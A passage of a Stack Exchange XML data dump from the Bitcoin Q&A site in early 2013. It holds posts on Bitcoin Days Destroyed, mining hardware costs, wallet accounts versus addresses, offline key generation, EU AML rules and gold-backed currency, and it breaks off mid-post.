  <row Id="7481" PostTypeId="2" ParentId="7477" CreationDate="2013-02-06T07:59:00.567" Score="8" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Are Bitcoin Days Destroyed a measure of hoarding?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Sometimes. But just because bitcoins changed addresses doesn't mean they changed hands.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is it also possible to derive velocity of bitcoin (money) from bitcoin days destroyed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Not directly. Although &lt;a href=&quot;http://en.wikipedia.org/wiki/Velocity_of_money&quot; rel=&quot;nofollow noreferrer&quot;&gt;velocity of money&lt;/a&gt; and BDD are related, they are not entirely the same. velocity of money is based on a legal definition, whereas BDD is based on a technical definition. Also, BDD weighs the movement of old, rarely used coins as more important than frequently traded ones.&lt;/p&gt;&#xA;&lt;p&gt;Two differences:&lt;/p&gt;&#xA;&lt;h3&gt;First&lt;/h3&gt;&#xA;&lt;p&gt;BDD is based on transactions in the bitcoin network, whereas velocity of money is based on money changing ownership. A transaction doesn't mean that money changed hands. Examples:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change. I send you 10 BTC, 5 BTC comes back to my address as change. The bitcoin network sees 15 BTC move, but only 10 BTC really changed ownership.&lt;/li&gt;&#xA;&lt;li&gt;Laundering. The best example. Lots of bitcoins move around, but at the end, you still have the same amount.&lt;/li&gt;&#xA;&lt;li&gt;I move my bitcoins from Mt Gox to blockchain.info. Again, there was a transaction, but no money changed hands.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Because of this, a velocity of money estimate based on total transaction volume will be wildly inaccurate.&lt;/p&gt;&#xA;&lt;p&gt;Also, even if no bitcoin transaction has happened, money can still change hands. Lots of e-wallets support the ability to instantly transfer money between accounts.&lt;/p&gt;&#xA;&lt;h3&gt;Second&lt;/h3&gt;&#xA;&lt;p&gt;Because total transaction volume is such a bad measure of how quickly bitcoins change ownership, BDD was created. It's different from velocity of money in that &lt;a href=&quot;http://www.smbc-comics.com/?id=2855&quot; rel=&quot;nofollow noreferrer&quot;&gt;you can't game it by sending money back and forth&lt;/a&gt; because it is much more significant to spend 100 BTC that last moved a week ago than it is to spend 1 BTC a thousand times.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-02-06T16:24:28.397" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7482" PostTypeId="2" ParentId="4966" CreationDate="2013-02-06T08:15:14.387" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;https://github.com/m0mchil/poclbm&quot; rel=&quot;nofollow&quot;&gt;poclbm source code&lt;/a&gt;, Switch.py &lt;a href=&quot;https://github.com/m0mchil/poclbm/blob/master/Switch.py#L219&quot; rel=&quot;nofollow&quot;&gt;line 219&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;say_quiet('%s[%.03f MH/s (~%d MH/s)] [Rej: %d/%d (%.02f%%)]', (if_else(verbose, miner.id()+' ', '') , rate, round(estimated_rate), rejected_shares, total_shares, float(rejected_shares) * 100 / total_shares_estimator))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's &lt;code&gt;estimated_rate&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how &lt;code&gt;estimated_rate&lt;/code&gt; that found, you ask?&lt;br&gt;&#xA;I tried looking at the source, but that didn't really clear things up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.estimated_rate = Decimal(new_accept) * (targetQ) / min(int(now - self.start_time), self.options.estimate) / 1000&#xA;self.estimated_rate = Decimal(self.estimated_rate) / 1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I eventually found &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34190.0&quot; rel=&quot;nofollow&quot;&gt;this discussion on bitcointalk&lt;/a&gt;. It states that the estimated rate is based on how many shares are submitted to the pool. I don't know what it's supposed to display if you're not using a pool.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-06T08:15:14.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7483" PostTypeId="2" ParentId="7470" CreationDate="2013-02-06T12:33:27.307" Score="2" Body="&lt;p&gt;In the EU AML regulations do not apply to currencies, they apply to financially registered entities and a couple of other ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entities required to ensure AML-compliance are : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Banks,&lt;/li&gt;&#xA;&lt;li&gt;Payment Service Providers,&lt;/li&gt;&#xA;&lt;li&gt;Latin notaries (think about laundering money through real-estate transactions for example)&lt;/li&gt;&#xA;&lt;li&gt;Licensed currency exchangers,&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Legally compliant Bitcoin exchanges are not subject to AML regulations directly, since as of today, none of them is a registered PSP or bank. But, if they partner with such an entity they can get a delegation to perform AML-related duties such as KYC, under the legal responsibility of the delegator entity.&lt;/p&gt;&#xA;" OwnerUserId="2593" LastActivityDate="2013-02-06T12:33:27.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7484" PostTypeId="1" AcceptedAnswerId="7695" CreationDate="2013-02-06T17:08:40.660" Score="5" ViewCount="2959" Body="&lt;p&gt;I googled some time, but didn't find anything - is it possible to add btc market into software like meta trader? Or is there any (free) analysis software for that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just found info about some software (bitcointrader), which used to exist, but &lt;a href=&quot;http://btc-trader.org/&quot; rel=&quot;nofollow&quot;&gt;that site&lt;/a&gt; is now an alias for another trading platform.&lt;/p&gt;&#xA;" OwnerUserId="2832" LastEditorUserId="5406" LastEditDate="2014-02-09T10:20:18.387" LastActivityDate="2018-01-03T12:28:33.537" Title="Trading software" Tags="|trading|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7485" PostTypeId="1" CreationDate="2013-02-06T18:55:32.240" Score="1" ViewCount="610" Body="&lt;p&gt;I used a moneygram to purchase some Bitcoins.  Using the information I  got from ZipZap, I was able to get the address where the money was sent and through block explorer that it is there.  I have the ScriptPubKey that contains (I hope) what I need to do to get the coins.  Unfortunately, I have no idea how to get at it.  I have very little knowledge of programming or coding.  How can I release this information without going back to college?&lt;/p&gt;&#xA;" OwnerUserId="2836" LastEditorUserId="1878" LastEditDate="2013-02-06T23:00:59.857" LastActivityDate="2013-02-06T23:00:59.857" Title="How do I access coins purchased at ZipZap using a moneygram?" Tags="|client|bitinstant|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7486" PostTypeId="2" ParentId="5220" CreationDate="2013-02-06T21:27:43.150" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.freebitcoinsites.com&quot; rel=&quot;nofollow&quot;&gt;www.FreeBitcoinSites.com&lt;/a&gt; and &lt;a href=&quot;http://www.squidoo.com/freebitcoins&quot; rel=&quot;nofollow&quot;&gt;www.squidoo.com/freebitcoins&lt;/a&gt; are a couple of good resources for places to get free bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2838" LastEditorUserId="4473" LastEditDate="2013-05-28T23:19:29.000" LastActivityDate="2013-05-28T23:19:29.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7487" PostTypeId="2" ParentId="5220" CreationDate="2013-02-06T22:49:12.707" Score="-1" Body="&lt;p&gt;Most of those websites don't give free bitcoins anymore. The only updated daily list I've been able to find is at the end of any post of the blog &lt;a href=&quot;http://thebitcoinmaster.blogspot.com&quot; rel=&quot;nofollow&quot;&gt;http://thebitcoinmaster.blogspot.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2839" LastActivityDate="2013-02-06T22:49:12.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7488" PostTypeId="2" ParentId="7485" CreationDate="2013-02-06T22:58:11.763" Score="2" Body="&lt;p&gt;If you purchased coins you probably gave them an &quot;address&quot; to send it to.  Although &quot;address&quot; is the preferred terminology it can be called a ScriptPubKey.  Sounds like someone is being too technical and requiring too much college (as you put it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how did you generate or create the address?  There are two halves to an address.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The address itself, and analogous to a PO Box. It's fairly anonymous, and secure.  You can deliver to it...  but can only take things out of it if you have a private key.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The private key (not to be confused with ScriptPubKey).  This is a secret to be protected.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have never used ZipZap, so they will either ask you for an address to send coins to, or they will give you a voucher at Mt Gox.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to give us more information about how you purchased the coins, or contact ZipZap themselves.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-02-06T22:58:11.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7489" PostTypeId="1" CreationDate="2013-02-07T07:20:55.630" Score="6" ViewCount="544" Body="&lt;p&gt;I have talked with Erik Voorhees and I learned that he is not the person that programmed SatoshiDice. Does anyone know who is the developer behind this game is?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2014-09-12T02:13:16.580" LastActivityDate="2014-09-12T02:13:16.580" Title="Who is the programmer behind SatoshiDice?" Tags="|development|gambling|satoshidice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7490" PostTypeId="1" CreationDate="2013-02-07T07:25:56.270" Score="9" ViewCount="2706" Body="&lt;p&gt;What is the difference between accounts and adresses? As discussed in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1090/how-should-centralized-wallets-handle-user-accounts&quot;&gt;this question&lt;/a&gt; accounts are a component of bitcoin wallets, different from addresses. What are they? How do they work?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-02-07T12:40:39.993" Title="What is the difference between accounts and adresses?" Tags="|address|bitcoin-core-accounts|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7491" PostTypeId="1" AcceptedAnswerId="7496" CreationDate="2013-02-07T07:38:34.127" Score="9" ViewCount="6946" Body="&lt;p&gt;Is it possible to generate address and private key pair completely offline, using only dice / other random number generators, calculators, paper and pen? If yes, whats the procedure and formulas used?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2017-12-27T04:09:23.493" Title="How to generate keypair completely offline?" Tags="|address|private-key|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7492" PostTypeId="2" ParentId="7490" CreationDate="2013-02-07T08:29:13.990" Score="0" Body="&lt;p&gt;Your &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet&quot; rel=&quot;nofollow&quot;&gt;wallet&lt;/a&gt; is your account (or, accounts) and it holds all your public - private key pairs (mostly encrypted), all the transactions that corresponds to your addresses, and other details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also add watch-only addresses for fun, just like a shares watchlist. If you write down all your private keys somewhere then your wallet could only contain all watch-only addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet is in fact more than an account, and it is your private ledger. Other wallet providers could store your backup options, escrow / mixing preferences, etc. into your wallet.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2013-02-07T08:36:33.663" LastActivityDate="2013-02-07T08:36:33.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7493" PostTypeId="2" ParentId="7490" CreationDate="2013-02-07T10:04:27.083" Score="5" Body="&lt;p&gt;A Wallet is a collection of Accounts and Addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Account is an arbitrary basket of Addresses. Transactions originating from and going into one Account will be kept separate from other Accounts (unless you use a &lt;code&gt;move&lt;/code&gt; command, which moves the balances around without creating new transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address is the only part of this that is visible in the Block Chain.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2013-02-07T12:40:39.993" LastActivityDate="2013-02-07T12:40:39.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7494" PostTypeId="1" CreationDate="2013-02-07T10:28:59.693" Score="4" ViewCount="411" Body="&lt;p&gt;I have been toying around with the idea of building a bitcoin app. My research has thus far led me to conclude that it makes sense to run a bitcoin client daemon on my server in order to provide an API for my mobile app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is bitcoind any good for this? I used the -server mode of the Bitcoin-qt client for mac, as explained &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2570/bitcoin-qt-command-line-control-on-mac&quot;&gt;here&lt;/a&gt;, and it seems to be very slow for most of the RPC calls. Is the daemon any faster? It seems like something this slow is not preferable to run on the server, and would almost force me to cache some responses that would probably be unnecessary for a faster running client (obviously, down the road cacheing would make sense, but for the initial small scale of this, I would like to avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there better server-side clients I could run that would perform better than bitcoind? Do any of them provide better interfaces that JSON-RPC, or is there some reason that JSON-RPC is intrinsically better for this sort of use-case? How about a REST API?&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-02-08T11:11:40.230" Title="What server-side Bitcoin clients are available to serve information?" Tags="|bitcoind|bitcoin-core|api|server|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7495" PostTypeId="2" ParentId="7490" CreationDate="2013-02-07T11:18:10.260" Score="0" Body="&lt;p&gt;Addresses are intrinsic to Bitcoin. Amounts of bitcoins are moved from an address to an address (most of the time that is, there are other mechanisms). A transaction that transfers bitcoins from address &lt;strong&gt;A&lt;/strong&gt; to address &lt;strong&gt;B&lt;/strong&gt; is sent to the network and will then be applied by all the nodes to their local replica of the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts on the other side are a further abstraction that Bitcoin-QT (the mainline client) provides. It is purely for internal accounting and information about the accounts is not spread to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts simply have a balance, the sum of all account balances is the sum of all the addresses balance, but I don't think that addresses are actually associated with an account. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; supports this as if an address were associated with an account it would only be possible to move the entire balance of an address to a new account, while as it is implemented suggests that you can move any amount between the accounts.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-02-07T11:18:10.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7496" PostTypeId="2" ParentId="7491" CreationDate="2013-02-07T12:49:25.530" Score="7" Body="&lt;p&gt;Yes, it is possible to create such keypairs offline, but the calculations are long and complex. You would need to find out how to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a secp256k1 public key from a private key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Perform SHA-256 hashing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Perform RIPEMD-160 hashing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Be able to convert the final value into Base 58&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the calculations would be very tedious; this is what we have computers for.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2013-02-07T15:20:23.727" LastActivityDate="2013-02-07T15:20:23.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7498" PostTypeId="2" ParentId="6051" CreationDate="2013-02-07T13:51:04.237" Score="3" Body="&lt;p&gt;If you want to run your private pool with a minimal amount of extra configuration, run bitcoind with -server and &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;some additional configuration&lt;/a&gt; for RPC commands. This would allow you to create a simple pool for your personal use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;are you sure your mining endeavours would be profitable&lt;/a&gt;? You'd better check my calculator website that I linked right there. You might find it not worth your time to even set this thing up unless you have some really good GPUs in those machines.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-07T13:51:04.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7499" PostTypeId="2" ParentId="7489" CreationDate="2013-02-07T15:35:24.527" Score="7" Body="&lt;p&gt;This is all I could dig up from &lt;a href=&quot;https://en.bitcoin.it/wiki/SatoshiDice&quot;&gt;https://en.bitcoin.it/wiki/SatoshiDice&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SatoshiDice was the brand given the service initially created by BitcoinTalk forum user FireDuck before selling the system to another operator.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-02-07T15:35:24.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7500" PostTypeId="1" CreationDate="2013-02-07T19:58:31.407" Score="3" ViewCount="1836" Body="&lt;p&gt;Is there a copy somewhere of the old bitcoin forum?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to read early discussions and banter.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastActivityDate="2015-08-28T11:44:17.327" Title="Copy of old forum?" Tags="|forum|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7501" PostTypeId="1" CreationDate="2013-02-07T22:21:39.373" Score="1" ViewCount="17413" Body="&lt;p&gt;I'd like to know how much the number changes depending on whether it's done using hardware or just in software. I'm curious how long you'd have to leave a computer mining bitcoins for it to pay for itself&lt;/p&gt;&#xA;" OwnerUserId="2846" LastEditorUserId="5406" LastEditDate="2016-04-09T07:42:12.023" LastActivityDate="2016-04-09T07:42:12.023" Title="How much does it cost in computing time/hardware to mine bitcoins?" Tags="|mining-profitability|" AnswerCount="1" CommentCount="2" ClosedDate="2013-02-11T09:49:37.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="7502" PostTypeId="1" AcceptedAnswerId="7525" CreationDate="2013-02-08T02:08:02.707" Score="4" ViewCount="10133" Body="&lt;p&gt;I have never used JSON before and am trying to retrieve the values POSTed to my site from coinbase. But I have no idea how to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information about the IPN and callback can be found here: &lt;a href=&quot;https://coinbase.com/docs/merchant_tools/callbacks&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/docs/merchant_tools/callbacks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, what I understand so far is that I can use json_decode($jsonData); to turn the JSON data into PHP data. But how do I set the variable $jsonData?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the response that is supposed to be sent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;order&quot;:{&quot;id&quot;:null,&quot;created_at&quot;:null,&quot;status&quot;:&quot;new&quot;,&quot;total_btc&quot;:&#xA;{&quot;cents&quot;:100000000,&quot;currency_iso&quot;:&quot;BTC&quot;},&quot;total_native&quot;:&#xA;{&quot;cents&quot;:2263,&quot;currency_iso&quot;:&quot;USD&quot;},&quot;custom&quot;:&quot;123456789&quot;,&quot;button&quot;:&#xA;{&quot;type&quot;:&quot;buy_now&quot;,&quot;name&quot;:&quot;Test Item&quot;,&quot;description&quot;:null,&quot;id&quot;:null},&quot;transaction&quot;:&#xA;{&quot;hash&quot;:&quot;4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot;,&quot;confirmations&quot;:0}}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2813" LastEditorUserId="2813" LastEditDate="2013-02-08T21:04:27.750" LastActivityDate="2013-02-09T06:53:53.030" Title="How to retrieve POST data that contains JSON" Tags="|coinbase.com|commercial|php|merchant-services|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7503" PostTypeId="2" ParentId="7501" CreationDate="2013-02-08T02:12:50.540" Score="3" Body="&lt;p&gt;It really depends on how much you're willing to spend.&lt;/p&gt;&#xA;&lt;h2&gt;Low end&lt;/h2&gt;&#xA;&lt;p&gt;Let's talk about the very smallest investment you could make for mining bitcoins: a Raspberry Pi. It can do 200,000 hashes per second, which might sound like a lot, but actually it's about 0.000001% of the total network hashrate.&lt;/p&gt;&#xA;&lt;p&gt;Power: 3.75 W&lt;br /&gt;&#xA;Hashrate: 0.2 MHash/s&lt;br /&gt;&#xA;Cost: $35&lt;/p&gt;&#xA;&lt;p&gt;(Note: this doesn't mean a RPi is useless for mining. You can use it as a host for your ASIC/FPGA miners.)&lt;/p&gt;&#xA;&lt;h2&gt;Mid range&lt;/h2&gt;&#xA;&lt;p&gt;Okay, CPU mining is bad, but what if we use GPU's?&lt;/p&gt;&#xA;&lt;p&gt;Let's say we use a $162 graphics card, the 5830 from AMD. Let's throw in another $187 for case/motherboard/power supply. (Based off of &lt;a href=&quot;http://pcpartpicker.com/p/C7iy&quot; rel=&quot;nofollow noreferrer&quot;&gt;this list&lt;/a&gt; I just threw together.)&lt;/p&gt;&#xA;&lt;p&gt;Power: 175 W&lt;br /&gt;&#xA;Hashrate: 302 Mhash/s&lt;br /&gt;&#xA;Cost: $349&lt;/p&gt;&#xA;&lt;h2&gt;High end&lt;/h2&gt;&#xA;&lt;p&gt;Okay, let's get something specifically designed for bitcoin mining - the ModMiner Quad. It costs $1070, but it needs a host, so let's use a raspberry pi for that.&lt;/p&gt;&#xA;&lt;p&gt;Power: 43 W&lt;br /&gt;&#xA;Hashrate: 800 Mhash/s&lt;br /&gt;&#xA;Cost: $1105&lt;/p&gt;&#xA;&lt;h2&gt;Ultra-high end&lt;/h2&gt;&#xA;&lt;p&gt;Okay, let's say that you have stupid amounts of money to use on mining hardware. Let's say that you can get a &lt;a href=&quot;http://products.butterflylabs.com/1500gh-bitcoin-miner.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitforce Mini-Rig&lt;/a&gt;. (They are not being sold yet.) In fact, let's say that you can get 10 of them. This gives you 40% of the bitcoin hashrate.&lt;/p&gt;&#xA;&lt;p&gt;Power: 15,000 W&lt;br /&gt;&#xA;Hashrate: 15,000,000 Mhash/s&lt;br /&gt;&#xA;Cost: $299,000&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sources for most of this&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The lesson here is that you can spend any amount of money on bitcoin mining.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-02-08T02:12:50.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7504" PostTypeId="1" AcceptedAnswerId="7512" CreationDate="2013-02-08T02:52:35.863" Score="11" ViewCount="1618" Body="&lt;p&gt;As a random whim, I want to see if it's possible to send one satoshi to every bitcoin address that's ever been used. How much would that be? I'm betting the transaction fee would be a lot more, though. Is this even possible? How would I do it?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="120" LastEditDate="2013-02-08T12:32:09.830" LastActivityDate="2013-02-08T13:27:33.320" Title="Is it possible to send one satoshi to every bitcoin address?" Tags="|satoshi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7505" PostTypeId="1" CreationDate="2013-02-08T04:46:27.600" Score="2" ViewCount="863" Body="&lt;p&gt;I like bitcoin in the sense that it decentralizes currency. I would like to know though if it is a commodity-backed currency similar to the gold standard decades ago? Is it possible in the near future? As it is it seems that it is the same fiat money, except that it isn't the Fed issuing it. Is that correct to say? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2848" LastActivityDate="2013-04-10T01:20:51.897" Title="Is a gold standard commodity-backed bitcoin possible?" Tags="|economic-theory|money|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7506" PostTypeId="1" CreationDate="2013-02-08T05:08:18.513" Score="1" ViewCount="10651" Body="&lt;p&gt;What are the advantages and disadvantages of 24/7 Bitcoin trading over traditional stock market which operates only 6 - 8 hours a day and 5 days a week? Any threats?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2013-02-08T06:38:30.267" LastActivityDate="2021-06-02T14:45:09.563" Title="What are the advantages and disadvantages of 24/7 Bitcoin trading?" Tags="|security|trading|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7507" PostTypeId="2" ParentId="7505" CreationDate="2013-02-08T05:30:25.273" Score="1" Body="&lt;p&gt;Maybe, but there are a lot of problems with the fusion of 'decentralized' and 'commodity-backed'&lt;/p&gt;&#xA;&lt;h2&gt;Double spending&lt;/h2&gt;&#xA;&lt;p&gt;Bitcoin prevents double spending by a proof-of-work function. If bitcoins were minted by putting in gold, then miners don't have a financial incentive to complete these proofs-of-work, so you need a new way to prevent double spending.&lt;/p&gt;&#xA;&lt;h2&gt;Trust&lt;/h2&gt;&#xA;&lt;p&gt;I say that I have 20 bars of gold. How do you know if my claim is valid?&lt;/p&gt;&#xA;&lt;h2&gt;Cashing out&lt;/h2&gt;&#xA;&lt;p&gt;I send 10 bitcoins to a merchant, who wants to convert it into gold. How does he get the gold?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-02-08T05:30:25.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7509" PostTypeId="2" ParentId="7505" CreationDate="2013-02-08T05:39:27.437" Score="1" Body="&lt;p&gt;It's not backed by any physical commodity like &quot;gold&quot;, but according to &lt;a href=&quot;http://en.wikipedia.org/wiki/Commodity&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Commodity&lt;/a&gt; &lt;strong&gt;a commodity is the generic term for any marketable item produced to satisfy wants or needs.&lt;/strong&gt; And if people want to use it for trading there is a need for it and it has value.&lt;/p&gt;&#xA;" OwnerUserId="2818" LastActivityDate="2013-02-08T05:39:27.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7510" PostTypeId="2" ParentId="7494" CreationDate="2013-02-08T11:11:40.230" Score="1" Body="&lt;p&gt;It depends on what information you require. Bitcoind can provide you with information through &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;its API&lt;/a&gt;, but you'd need to be running it yourself and it only works through HTTP JSON RPC. There are other sources of similar information, like &lt;a href=&quot;http://blockchain.info/api&quot; rel=&quot;nofollow&quot;&gt;blockchain.info's API&lt;/a&gt;, which can also handle other formats.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-08T11:11:40.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7511" PostTypeId="2" ParentId="7505" CreationDate="2013-02-08T12:37:46.863" Score="2" Body="&lt;p&gt;A true &quot;gold standard&quot; means that a unit of currency (e.g., &quot;dollar&quot;) has a certain amount of commodity backing it (gold, in the &quot;gold standard&quot; instance), and that the currency can be exchanged for that commodity at the designated exchange rate.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of gold per dollar is fixed under a gold standard, so a dollar on one day gets the exact same amount of gold as does a dollar the next day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The U.S. went off the gold standard (currency &quot;backed&quot; by gold) in 1933.  After WWII it allowed central banks to exchange dollars for gold at a set rate ($35 per ounce of gold) however that ended in 1971.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But iust like gold doesn't have any &quot;backing&quot;, there is no backing for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could be a paper currency (or electronic transaction) that has bitcoins as the backing.  Essentially that is what every hosted (shared) EWallet provider offers -- an account through their service which presumably every BTC deposited is still available for withdrawal (e.g., they haven't spent it, invested it, loaned it out, or lost it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redeemable codes would be an example of an electronic currency that is has backing where each BTC issued is 100% backed (with a BTC held).  There's no way to audit that to guarantee that they have full backing though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just like gold doesn't have any &quot;backing&quot;, it makes no sense to have backing for Bitcoin.  Bitcoins themselves have value, due to their scarcity and other reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a guaranteed value in case the bitcoin exchange rate drops then there are PUT options that you can buy.  That's an investment product though and not a part of the currency itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update: If you want a gold-backed electronic currency, Peter Schiff's &lt;a href=&quot;http://europacbank.com/our-products/metals-backed-account/&quot; rel=&quot;nofollow&quot;&gt;Euro Pacific Bank Ltd&lt;/a&gt; (not available to those in the U.S.) essentially &lt;a 